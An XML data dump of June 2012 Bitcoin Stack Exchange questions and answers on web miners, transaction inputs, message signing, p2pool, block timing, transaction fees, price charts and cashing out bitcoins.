  <row Id="3892" PostTypeId="1" AcceptedAnswerId="3895" CreationDate="2012-06-04T16:59:02.907" Score="2" ViewCount="8640" Body="&lt;p&gt;Is there a miner written to be run on webspace, e.g. in ruby, php or python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know, it will be to slow and its not worth it, but I want to see it though :)&lt;/p&gt;&#xA;" OwnerUserId="1436" LastEditorUserId="5406" LastEditDate="2016-03-31T09:49:52.837" LastActivityDate="2016-03-31T09:49:52.837" Title="Is there a mining software that I can run on my webspace (php, ruby, python)?" Tags="|cpu-mining|webminer|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3893" PostTypeId="2" ParentId="3892" CreationDate="2012-06-04T17:09:57.527" Score="0" Body="&lt;p&gt;Here's a python-only miner.  Not sure if it still functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/jgarzik/pyminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jgarzik/pyminer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-04T17:09:57.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3894" PostTypeId="2" ParentId="3889" CreationDate="2012-06-04T19:55:56.917" Score="1" Body="&lt;p&gt;Everyone, not just miners, can see every transaction that's in any block.  Being a miner doesn't give you any special insight that other users don't have.  The whole blockchain is public with a full copy being held by everyone who runs a Bitcoin node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't mean that you can easily link transactions to people however.  Everyone can see that address A transferred X bitcoins to address B.  But it's not obvious how to determine who owns addresses A or B.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="575" LastEditDate="2012-06-05T03:41:46.350" LastActivityDate="2012-06-05T03:41:46.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3895" PostTypeId="2" ParentId="3892" CreationDate="2012-06-04T22:37:10.637" Score="4" Body="&lt;p&gt;You should look into webminers - &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1520/what-is-the-status-on-webminers&quot;&gt;What is the status on webminers?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But generally, it's not really worth it. Unless you get a lot of high-end-graphic-card-owning users to stay on your website for a long while, you won't earn much. You can try running some of the webminers on your own machine and see how much you can earn for example by using my &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mining Calculator&lt;/a&gt;. Having someone with a 100MHash/s graphic card (fairly decent for a non-dedicated miner) on for 24 hours would give you about a cent of revenue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, you're probably better off with adding some ads to your website.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-06-04T22:37:10.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3896" PostTypeId="1" CreationDate="2012-06-05T08:18:10.007" Score="13" ViewCount="6965" Body="&lt;p&gt;How do I find out which addresses are the inputs of a given transaction, given its transaction ID?&#xA;I know there is a way, as satoshidice.com uses this.&#xA;I would like to do this with own software and not rely on some third party provider, which could easily kill their service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I'm creating a PHP project, where I need to find out when a new transaction arrives and which address sent it. So I need a way to get a notification or start a PHP script (called with needed variables [txid, sender address, receiving address, value]) when a new transaction arrives.&lt;/p&gt;&#xA;" OwnerUserId="1441" LastEditorUserId="659" LastEditDate="2012-06-05T10:40:23.563" LastActivityDate="2013-01-03T20:13:39.660" Title="How to findout the sender of a transaction" Tags="|bitcoind|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3897" PostTypeId="2" ParentId="3896" CreationDate="2012-06-05T09:44:07.517" Score="2" Body="&lt;p&gt;The Bitcoin.org client doesn't provide this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe your options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Armory&lt;/li&gt;&#xA;&lt;li&gt;libbitcoin&lt;/li&gt;&#xA;&lt;li&gt;ABE blockchain explorer&lt;/li&gt;&#xA;&lt;li&gt;BitcoinJ &lt;a href=&quot;http://code.google.com/p/bitcoinj&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/bitcoinj&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-05T09:44:07.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3898" PostTypeId="1" AcceptedAnswerId="3899" CreationDate="2012-06-05T12:40:44.343" Score="16" ViewCount="21077" Body="&lt;p&gt;How does &quot;Sign Message&quot; option in the Bitcoin QT client work? I can't find any description or documentation of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to use this option to sign some message when I receive bitcoins? If so, how do I do that and what should I write?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how it looks (Sorry for danish client language):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7xU6U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1442" LastEditorUserId="323" LastEditDate="2012-06-15T01:14:37.353" LastActivityDate="2012-06-15T01:14:37.353" Title="How does &quot;Sign Message&quot; work?" Tags="|bitcoin-core|signature|message-signing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3899" PostTypeId="2" ParentId="3898" CreationDate="2012-06-05T15:28:17.270" Score="12" Body="&lt;p&gt;You don't have to manually verify Bitcoins you receive - the according transaction is verified automatically by your Bitcoin client. If you see a green checkmark left to the transaction you received (in the Transactions view) then it means that the rest of the Bitcoin network has confirmed the payment as well and you can safely consider the coins yours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Sign Message&quot; feature is an advanced functionality of the Bitcoin client which allows you to sign arbitrary messages to prove to somebody that you are (were) in control of the funds of some Bitcoin address. For a usage example see &lt;a href=&quot;https://bitcoin.stackexchange.com/a/3339/160&quot;&gt;this answer&lt;/a&gt;. You normally don't need this feature for day-to-day use of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-06-05T15:28:17.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3900" PostTypeId="5" CreationDate="2012-06-06T03:34:19.490" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-06-06T03:34:19.490" LastActivityDate="2012-06-06T03:34:19.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3901" PostTypeId="4" CreationDate="2012-06-06T03:34:19.490" Score="0" Body="Functionality for proving a message was sent by the holder of a particular private key. The standard Bitcoin client provides this features since version 0.6.0" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-06-06T07:32:04.213" LastActivityDate="2012-06-06T07:32:04.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3902" PostTypeId="5" CreationDate="2012-06-06T05:17:06.820" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-06-06T05:17:06.820" LastActivityDate="2012-06-06T05:17:06.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3903" PostTypeId="4" CreationDate="2012-06-06T05:17:06.820" Score="0" Body="P2Pool is a distributed bitcoin mining pool. With p2pool, each miner runs a p2pool node and these nodes form a peer to peer network amongst themselves similar to how bitcoin, itself, does." OwnerUserId="516" LastEditorUserId="516" LastEditDate="2012-06-06T08:24:02.180" LastActivityDate="2012-06-06T08:24:02.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3904" PostTypeId="1" AcceptedAnswerId="3906" CreationDate="2012-06-06T10:31:03.870" Score="6" ViewCount="839" Body="&lt;p&gt;Everytime I restart my mining machine due to heat, I have to wait the following sequence to mine at p2pool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -&amp;gt; download blockchain &amp;amp; rescan -&amp;gt; p2pool -&amp;gt; download shares -&amp;gt; start mining&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It took me about 10~20 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I substitute bitcoind with thin client (without having to download blockchain)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*PS1. I know I can connect a remote bitcoind, but I am thinking the possibility of a thin client on a local machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;PS2. Mining at public p2pool node is &lt;strong&gt;out of consideration&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="965" LastEditorUserId="2306" LastEditDate="2016-03-09T23:08:38.047" LastActivityDate="2016-03-09T23:08:38.047" Title="Can I run p2pool with a thin bitcoin client?" Tags="|bitcoind|blockchain|mining-pools|p2pool|thin-clients|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3905" PostTypeId="2" ParentId="3872" CreationDate="2012-06-06T14:07:17.540" Score="2" Body="&lt;p&gt;A miner does have an incentive to include these transactions, because it will make the bitcoin system stronger/more robust. People will trust that their transaction will go through. As such, his own mined bitcoins will be more valuable.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2012-06-06T14:07:17.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3906" PostTypeId="2" ParentId="3904" CreationDate="2012-06-06T17:12:59.540" Score="11" Body="&lt;p&gt;No. P2Pool, unlike a normal pool, requires you to verify incoming transactions, and you can't do this without having all of the unspent transactions in the block chain.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-06-06T17:12:59.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3907" PostTypeId="1" AcceptedAnswerId="3908" CreationDate="2012-06-06T22:28:42.197" Score="5" ViewCount="898" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3885/516&quot;&gt;This answer&lt;/a&gt; suggests popularity growth of people privately exchanging bitcoins for a physical currency, in person. This might occur in &quot;coffee shops, hotels, hostels, hackerspaces, etc&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example would be 2 travellers meeting in a hostel in, say, the UK. Traveller A has just been to the USA and traveller B is about to go there. Traveller A has US$200 that's no longer needed, so he agrees to exchange it for some of traveller B's bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely assume traveller B has a mobile phone or other internet access to perform the transfer, but please consider both cases of traveller A having and not having similar access at the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the risks of such a deal, and what can be done to improve the chances of a successful deal?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2017-05-15T17:46:49.443" Title="What are the risks of in-person private currency exchanging for travellers?" Tags="|transactions|exchanges|travel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3908" PostTypeId="2" ParentId="3907" CreationDate="2012-06-07T05:26:13.027" Score="5" Body="&lt;p&gt;I think that &quot;personal safety risks&quot; are outside the scope of this website, so I'll mention the technical risk - double spend. If you don't wait for one confirmation, a double spent attack can be performed, and you won't get your Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily, you'll only have to wait &lt;s&gt;five&lt;/s&gt; ten minutes on average for a block to be found &lt;s&gt;(blocks are one every ten minutes, so the expected delay until the next block is five minutes)&lt;/s&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After one confirmation, it's very unlikely such a small transaction will be double spent. If you want to increase your security, wait another block or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Traveller A doesn't need to have internet, he can use a &lt;a href=&quot;https://pimpcoin.com/&quot; rel=&quot;nofollow&quot;&gt;Pimpcoin&lt;/a&gt;-like card (link NSFW), with SMS notifications of incoming transactions.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="516" LastEditDate="2012-06-15T01:29:24.480" LastActivityDate="2012-06-15T01:29:24.480" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3909" PostTypeId="1" AcceptedAnswerId="3911" CreationDate="2012-06-07T07:21:56.453" Score="22" ViewCount="7727" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3908/659&quot;&gt;https://bitcoin.stackexchange.com/a/3908/659&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Luckily, you'll only have to wait five minutes on average for a block to be found (blocks are one every ten minutes, so the expected delay until the next block is five minutes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Upon reading it, I instantly felt that this was incorrect, and that the expected time until the next block is always 10 minutes (assuming the network hash rate matches the current difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the blocks were generated exactly every 10 minutes, than it would be true that the expected time would be 5 minutes, but they're not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what's the real expected time?  Please make a plausible argument for why it is so.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-05-13T09:28:17.603" Title="What is the expected time until the next block is found?" Tags="|block|block-interval|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3911" PostTypeId="2" ParentId="3909" CreationDate="2012-06-07T07:47:14.390" Score="20" Body="&lt;p&gt;10 minutes. Assuming, as you say, that the current network hashrate matches the difficulty - otherwise it is proportionally higher or lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Block finding is a &lt;a href=&quot;http://en.wikipedia.org/wiki/Poisson_process&quot;&gt;Poisson process&lt;/a&gt;. The rate parameter λ is chosen so that 2016 blocks on average are found every 2 weeks, and since in such a process the expected number of events is proportional to the time span, it means λ is 1/(10 minutes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time until the next event (the next block found in our case) follows the &lt;a href=&quot;http://en.wikipedia.org/wiki/Exponential_distribution&quot;&gt;exponential distribution&lt;/a&gt; with mean 1/λ, which is 10 minutes. This distribution is &lt;a href=&quot;http://en.wikipedia.org/wiki/Memorylessness&quot;&gt;memoryless&lt;/a&gt; - the amount of time spent waiting for a block has no effect on the amount of time left to wait. When a block is found the expected time until the next block is 10 minutes (which is intuitive), and it is also 10 minutes at any other time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If blocks arrived once every 10 minutes like clockwork, the expected time until the next block at a random point would be indeed 5 minutes - but then we wouldn't have to worry about expectations, we'd know exactly when the next block will be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future, the decreased generation reward might cause the total hashrate to fluctuate as transaction fees accumulate, causing reduced variability in block finding times, and reduced expected waiting time.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-06-07T07:53:08.210" LastActivityDate="2012-06-07T07:53:08.210" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="3912" PostTypeId="2" ParentId="3907" CreationDate="2012-06-07T11:28:05.127" Score="4" Body="&lt;p&gt;There are capital controls and anti-money laundering laws that are different for each country.  The tourist might want to become aware of what the laws are.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-07T11:28:05.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3913" PostTypeId="2" ParentId="3875" CreationDate="2012-06-07T14:11:13.683" Score="5" Body="&lt;p&gt;The &lt;strong&gt;Bouncy Castle&lt;/strong&gt; project allows for this and it runs on the Java VM (as was mentioned earlier) as well as the &lt;strong&gt;.NET Runtime&lt;/strong&gt;. An example of using it in &lt;strong&gt;C#&lt;/strong&gt; is shown in &lt;a href=&quot;http://mytenpennies.wikidot.com/blog%3ausing-bouncy-castle&quot; rel=&quot;noreferrer&quot;&gt;this blog post&lt;/a&gt;. You can use the .NET version from &lt;strong&gt;Visual Basic .NET&lt;/strong&gt; (as well as any of the other languages on the CLR as well, obviously).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For C++, look at the &lt;strong&gt;Crypto++&lt;/strong&gt; library which &lt;a href=&quot;http://www.cryptopp.com/wiki/Keys_and_Formats&quot; rel=&quot;noreferrer&quot;&gt;supports secp256k1&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1012" LastActivityDate="2012-06-07T14:11:13.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3914" PostTypeId="2" ParentId="3614" CreationDate="2012-06-08T19:57:35.017" Score="3" Body="&lt;p&gt;I think what you are looking for has just been released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoinary. &lt;a href=&quot;https://www.bitcoinary.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.bitcoinary.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A81HM.png&quot; alt=&quot;Bitcoinary Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2012-06-08T19:57:35.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3915" PostTypeId="1" CreationDate="2012-06-08T20:54:47.380" Score="8" ViewCount="553" Body="&lt;p&gt;I want to use BitCoin to earn money from someone else for working for them.&#xA;I want to give them as little information about me as possible&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will I HAVE to give them so I can accept money, what personal info will have to be given?&lt;/p&gt;&#xA;" OwnerUserId="1455" LastActivityDate="2012-12-05T19:58:51.010" Title="What information will someone need to give me money?" Tags="|exchanges|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3916" PostTypeId="2" ParentId="3915" CreationDate="2012-06-08T21:20:01.110" Score="9" Body="&lt;p&gt;Bitcoin relies on disclosing as little information about yourself as needed in order to accomplish its functions. In order to receive coins, you only need to provide a Bitcoin address, like such:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1Br7vQZjkrJxhQEALt4ReL9hTqvQj4Xqge&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried about your anonymity, you should generate a new address in the standard client that you will use only once. Should anyone wish for you to confirm that you own a given address, you can use the private key you have to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=70911.0&quot;&gt;sign some meaningful message&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note however, that it is possible to try &lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.ca/2011/07/bitcoin-is-not-anonymous.html&quot;&gt;connecting your Bitcoin address to your online identity&lt;/a&gt; if you are not careful. It is very unlikely, unless someone REALLY wants to find out who you are.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-08T21:20:01.110" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3917" PostTypeId="2" ParentId="343" CreationDate="2012-06-10T18:59:23.733" Score="1" Body="&lt;p&gt;Coinapult's &lt;a href=&quot;https://coinapult.com/sms/info&quot; rel=&quot;nofollow noreferrer&quot;&gt;SMS wallet&lt;/a&gt; is currently only available in the U.S. and Canada but it works as you describe -- usable for a transaction where either or both parties are using a feature phone with only SMS / text messaging service (i.e., no other data service necessary).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coinapult may be adding support elsewhere, but their current freemium business model might need revision to be feasible in regions where the text message costs are higher.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="13440" LastEditDate="2017-07-20T04:20:07.683" LastActivityDate="2017-07-20T04:20:07.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3918" PostTypeId="2" ParentId="3886" CreationDate="2012-06-11T02:38:17.773" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://eligius.st&quot; rel=&quot;nofollow&quot;&gt;Eligius&lt;/a&gt; offers SMPPS (low variance, predictable income) decentralized and centralized mining, but more relevant to your question, &lt;strong&gt;our &lt;a href=&quot;http://gitorious.org/bitcoin/eloipool&quot; rel=&quot;nofollow&quot;&gt;mining pool software, Eloipool&lt;/a&gt;, is completely free and open source&lt;/strong&gt;. It does require a Linux server, however, unless you have the Python skills to port it to Windows (the main issue is epoll).&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-06-11T02:38:17.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3919" PostTypeId="2" ParentId="3735" CreationDate="2012-06-11T02:52:08.717" Score="-1" Body="&lt;p&gt;No, SatoshiDICE seems to be generally illegal, which only harms Bitcoin's reputation - and even in jurisdictions where it might be legal, gambling is generally regarded poorly. Additionally, it fills the blockchain with bloat unnecessarily and is easily exploited.&lt;/p&gt;&#xA;" OwnerUserId="942" LastActivityDate="2012-06-11T02:52:08.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3920" PostTypeId="1" AcceptedAnswerId="3921" CreationDate="2012-06-11T02:52:51.383" Score="3" ViewCount="953" Body="&lt;p&gt;I am trying to see some bitcoin charts but looks like all sites are down. Any help?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="132" LastEditDate="2013-10-25T14:49:54.047" LastActivityDate="2013-10-25T14:49:54.047" Title="Where can I find bitcoin price charts?" Tags="|exchange-rate|charts|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3921" PostTypeId="2" ParentId="3920" CreationDate="2012-06-11T04:38:30.963" Score="8" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/charts/mtgoxUSD&quot;&gt;http://bitcoincharts.com/charts/mtgoxUSD&lt;/a&gt; has historical charts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These 3 all have 'live' charts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btccharts.com/&quot;&gt;http://btccharts.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mtgoxlive.com/&quot;&gt;http://mtgoxlive.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot;&gt;http://bitcoin.clarkmoody.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-06-11T04:38:30.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3922" PostTypeId="1" AcceptedAnswerId="3923" CreationDate="2012-06-11T14:05:57.397" Score="4" ViewCount="1446" Body="&lt;p&gt;Does the bitcoin transaction fee depend on the number of addresses in the proverbial from field or the number of transactions that led to the balance in the addresses in the from field. &#xA;eg:&#xA;I have 10 addresses each containing 1 bitcoin,is it better to send them from where  they are to another person or if I transfer all the bitcoins in every address to a single address and then sent the bitcoins from there. I am only talking about the transaction fee in the final send to the other person.&lt;/p&gt;&#xA;" OwnerUserId="1461" LastEditorUserId="2306" LastEditDate="2013-03-13T23:45:44.750" LastActivityDate="2013-03-13T23:45:44.750" Title="Bitcoin Transaction Fee" Tags="|transactions|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3923" PostTypeId="2" ParentId="3922" CreationDate="2012-06-11T14:29:55.917" Score="2" Body="&lt;p&gt;Basically, one or a few number of inputs should make no real difference. But at some point the size of the transaction may grow so big that it will start to get less priority over other ones, because miners may prefer lower-sized transactions to get more transactions fees (assuming they would hit regularly the block size limit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway the workaround you propose is pointless, moving bitcoins separately from several addresses to one unique address prior of the real transaction would cost you even more. The total size of all the transactions you need for that would exceed the size of a unique direct transaction with several inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, notice that the virtual balance your client shows for each of your “accounts” may not reflect the real repartition as seen by the network for each associated address. (It costs nothing to move virtual amount from one account to the other, but it will also not change the way transactions will be build later by the client).&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2012-06-11T15:55:38.337" LastActivityDate="2012-06-11T15:55:38.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3924" PostTypeId="2" ParentId="3922" CreationDate="2012-06-11T16:00:58.703" Score="1" Body="&lt;p&gt;Bitcoin transaction fee depends on the Client and its settings. The Standard Client charges a minimum fee based on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;Transaction size&lt;/a&gt; and whether the Transaction appears spammy (quite reasonable), but there are code branches that allow you to send transactions without fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the Standard Client is the most predominant client used today, you have to adhere to its rules if you want your transactions relayed in most cases. However, you can always set the fee higher if you are feeling generous or want to make sure the transaction gets included into a block faster.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-11T16:00:58.703" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3925" PostTypeId="2" ParentId="3614" CreationDate="2012-06-11T16:52:50.513" Score="1" Body="&lt;p&gt;There are a number of places to cash out bitcoins and get the payout through PayPal.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.SpendBitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.SpendBitcoins.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tangible Cryptography: &lt;a href=&quot;http://bitcointalk.org/index.php?topic=85395.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=85395.0&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.BitcoinNordic.com&quot; rel=&quot;nofollow&quot;&gt;http://www.BitcoinNordic.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Selling_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Selling_bitcoins&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-06-11T16:52:50.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3926" PostTypeId="2" ParentId="3720" CreationDate="2012-06-11T17:23:02.470" Score="1" Body="&lt;p&gt;This question was answered before for someone to clear a too low fee transaction that wasn't accepted by the network. &lt;a href=&quot;https://bitcoin.stackexchange.com/a/2415/1461&quot;&gt;https://bitcoin.stackexchange.com/a/2415/1461&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1461" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-06-11T17:23:02.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3927" PostTypeId="1" AcceptedAnswerId="3930" CreationDate="2012-06-11T22:12:18.680" Score="2" ViewCount="965" Body="&lt;p&gt;The &quot;Mt Gox Order Book Depth&quot; chart at the bottom of the page at &lt;a href=&quot;http://bitcoinx.com/charts/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://bitcoinx.com/charts/&lt;/a&gt; currently looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1scVc.jpg&quot; alt=&quot;chart from bitcoinx.com&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since mid May the red line on the chart (&quot;Ask sum&quot;) has a strong decreasing trend, whereas the blue line (&quot;Bid sum&quot;) has stayed steady. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What the implications of this?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-06-12T01:56:28.953" Title="What are the implications of a decreasing trend of MtGox &quot;ask&quot; depth compared with &quot;bid&quot; depth?" Tags="|trading|mtgox|technical-analysis|charts|prediction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3928" PostTypeId="1" AcceptedAnswerId="3929" CreationDate="2012-06-12T00:44:36.937" Score="9" ViewCount="28221" Body="&lt;p&gt;On the BitInstant site, it says that I can trade in my paper money at places like CVS, 7-11 and Walmart and get bitcoins sent to me in the next 30 minutes. Can some explain how this works and what I have to do. Do I just go up to the clerk a 7-11 and hand him my invoice i recieved at BitInstant.com and I will get my bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2017-05-24T05:42:57.283" Title="BitInstant - How do I trade my plain cash for Bitcoin at CVS, 7-11, Walmart" Tags="|buy-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
